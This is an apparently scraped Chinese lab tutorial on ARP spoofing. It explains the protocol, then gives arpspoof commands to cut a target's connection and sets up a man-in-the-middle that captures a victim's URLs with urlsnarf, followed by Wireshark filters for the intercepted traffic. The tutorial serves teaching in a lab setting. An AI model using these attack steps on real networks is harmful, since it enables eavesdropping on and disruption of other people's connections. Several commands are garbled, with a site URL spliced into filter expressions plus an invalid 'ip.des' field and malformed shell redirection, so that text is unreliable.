1.ARP协议原理讲解 什么是ARP ARP就是地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议
工作原理 ARP协议规定,每台计算机都需要一个ARP表,用来保存IP和MAC地址的映射关系
当访问IP地址的时候就去查ARP表,从而找到对应的MAC地址
如果ARP表匹配不到,就会使用广播的方式发送一个ARP请求,目标主机收到请求后会使用单播的方式返回一个ARP响应,告知自己的MAC地址
请求的主机拿到MAC地址后,会将映射关系缓存到ARP表,而后传递到数据链路层进行协议转化
ARP协议的作用 网络中的数据传输所依赖的时MAC地址而不是IP地址,ARP协议负责将IP地址转化为MAC地址
ARP协议的主要工作就是建立,查询,更新,删除ARP表项
查询ARP表
arp -a
删除arp表
arp -d IP
抓取某块网卡的所有arp请求
tcpdump -i eth0 -nn arp
抓取指定IP的请求
tcpdump -i eth0 -nn arp and host IP
ARP特性 无需人为干涉,一直进行轮询和应答
就是因为无需人为干涉,才出现了漏洞
2.ARP断网攻击 演示前的准备:
攻击机:kali
靶机:win10
网关
两台主机需要同在一个局域网,并且网络通畅(判断:ping一下,能返回就是通的)
计算机上网过程
主机(只有内网)发送数据包给路由
路由有两个IP地址,一个内网,一个外网,内网的接收数据包,再由外网的去请求服务器,拿到数据包后,根据内网IP返回给主机
ARP断网攻击原理
1.攻击机不断的向目标主机发送ARP报文,告诉目标主机网关的MAC地址发生了变化(变成了攻击机的)
由于ARP的特性(无需人为干涉),此时目标主机中记录网关的MAC地址就更新为攻击机的
2.目标主机想要访问网络发送数据包时,就会将数据包发送到攻击机
3.此时,攻击机只需要做一个丢弃数据包的命令就可以断掉目标主机的网络
ARP断网攻击的实现
工具:arpspoof(kali自带)
命令使用讲解
arpspoof [-i interface] [-c own|host|both] [-t target] [-r host]
-i 指定网卡
-c 攻击机目标
-t 目标机器的IP
-r 网关IP
具体攻击步骤
查看kali的ip
查看靶机ip
kali发起攻击:arpspoof -i eth0(网卡) -r 192.168.241.2(网关) -t 192.168.241.129(靶机)
攻击手段:
kali告诉靶机,网关的MAC地址是自己的
kali告诉网关,靶机的MAC地址是自己的
3.ARP流量攻击 准备阶段: 靶机,kali(需要开启数据包转发)
kali开启数据包转发:
概述:出于安全考虑,linux系统默认是静止数据包转发的
所谓转发即当主机拥有多于一块网卡时,其中一块收到数据包,更具数据包的目的IP地址将数据包发往本机的另一块网卡,该网卡根据路由表继续发送数据包(这通常是路由器所要实现的功能,我们需要手动开启转发功能)
如何开启:
查看是否开启端口转发
cat /proc/sys/net/ipv4/ip_forward 查看是否开启端口转发
echo 1>> /proc/sys/net/ipv4/ip_forward 开启端口转发
攻击实现 工具介绍:dsniff
dsniff是基于Unix系统网络嗅探工具,工具中包含两个我们需要的工具包:arpspoof,urlsnarf
安装:apt-get install dsniff
urlsnarf介绍
urlsnarf [-n] [-i interface | -p pcapfile] [[-v] patter [expression]]
-n 表示不反查主机名
-i interface 网卡接口名
-p pattern 表示对过滤的内容使用正则表达式
-v 表示取反,即不匹配
expression是过滤语法,和tcpdump相同
url流量分析
概念:url流量嗅探操作类似于中间人攻击,通过目标主机将路由流量注入到因特网
url嗅探能够实时跟踪点啊弄中的数据流量信息,并且分析出他的类型和去向
简单点说就是:你上网是将数据包发给我电脑,再由我电脑转发给路由,那么我拿到你的数据包并对其进行分析是非常合理的
攻击的实现
arpspoof -i -r -t
urlsnarf -i eth0
当靶机上网的时候,数据包就被我们截获了
4.WireShark分析用户数据 当我们截获用户数据包后,用WireShark来过滤数据包,起到辅助的作用
启动
在kali终端输入WireShark即可
1.过滤源ip,目的ip
查找目的地为192.168.241.11的包 ip.des==192.168.241.11
查找源地址为11.1.1.1的包 ip.src =https://www.it610.com/article/= 11.1.1.1
2.端口过滤
把源端口和目的端口为80的都过滤出来 tcp.port==80
只为过滤目的端口为80 tcp.dstport==80
只为过滤源端口为80的 tcp.srcport==80
3.协议过滤
直接在Filter框输入协议名即可过滤
http,tcp,ssh
4.http模式过滤
过滤出get包 http.request.method == "GET"
过滤出post包 http.request.method == "POST"
5.过滤多种条件
用and连接,如过滤192.168.241.129并且为http协议的
ip.src =https://www.it610.com/article/= 192.168.241.129 and http
【ARP攻击】
推荐阅读
- 无线安全渗透与防御|无线渗透----扫描附近WiFi(windows系统)
- 网络安全|永恒之蓝MS17-010exp复现
- 中职网络安全竞赛题目解析|2022年网络安全国赛内存取证WP
- JAVA|Spring boot和Vue.js实现基于oauth2授权码模式的认证 (一)
- 渗透测试|【文件上传绕过】——后端检测_MIME-TYPE检测漏洞
- 渗透测试|【文件包含漏洞】——文件包含漏洞防御
- 渗透测试|【文件上传绕过】——后端检测_内容检测图片马绕过
- 网络安全|网络安全——信息隐藏-使用隐写术来防止敏感数据被盗用
- 渗透测试|windows反弹shell复现